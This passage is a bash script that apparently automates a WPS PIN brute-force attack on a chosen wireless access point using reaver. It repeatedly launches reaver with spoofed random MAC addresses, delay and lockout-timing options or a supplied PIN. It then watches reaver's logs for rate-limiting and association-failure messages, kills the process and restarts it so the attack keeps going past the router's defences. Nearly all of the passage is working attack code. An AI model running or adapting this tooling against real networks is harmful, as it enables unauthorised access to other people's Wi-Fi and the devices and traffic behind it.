                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE48 == n ] || [ $KEEP_FILE48 == N ]; then

          rm VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R49 == n || $USE_R49 == N ]] && [[ $USE_LONG49 == n || $USE_LONG49 == N ]] && [[ $USE_PIN49 == n || $USE_PIN49 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME49"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL49"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP49"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE49 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME49-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL49 -b $TARGETAP49 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME49-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE49-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R49 == y || $USE_R49 == Y ]] && [[ $USE_LONG49 == n || $USE_LONG49 == N ]] && [[ $USE_PIN49 == n || $USE_PIN49 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME49"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL49"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP49"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX49" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY49"
echo -e "$info Reaver live time                   = $yel$LIVE49 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME49-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL49 -b $TARGETAP49 -vv -x 60 -r $RX49:$RY49 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME49-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE49-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R49 == n || $USE_R49 == N ]] && [[ $USE_LONG49 == y || $USE_LONG49 == Y ]] && [[ $USE_PIN49 == n || $USE_PIN49 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME49"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL49"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP49"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE49 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME49-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL49 -b $TARGETAP49 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME49-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE49-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R49 == y || $USE_R49 == Y ]] && [[ $USE_LONG49 == y || $USE_LONG49 == Y ]] && [[ $USE_PIN49 == n || $USE_PIN49 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME49"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL49"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP49"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX49" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY49"
echo -e "$info Reaver live time                   = $yel$LIVE49 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME49-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL49 -b $TARGETAP49 -r $RX49:$RY49 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME49-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE49-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R49 == n || $USE_R49 == N ]] && [[ $USE_LONG49 == n || $USE_LONG49 == N ]] && [[ $USE_PIN49 == y || $USE_PIN49 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME49"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL49"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP49"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE49 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME49-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL49 -b $TARGETAP49 -vv -x 60  --pin=$WPS_PIN49 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME49-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE49-60))/3))
LINECAP=2 # Set line capture switch


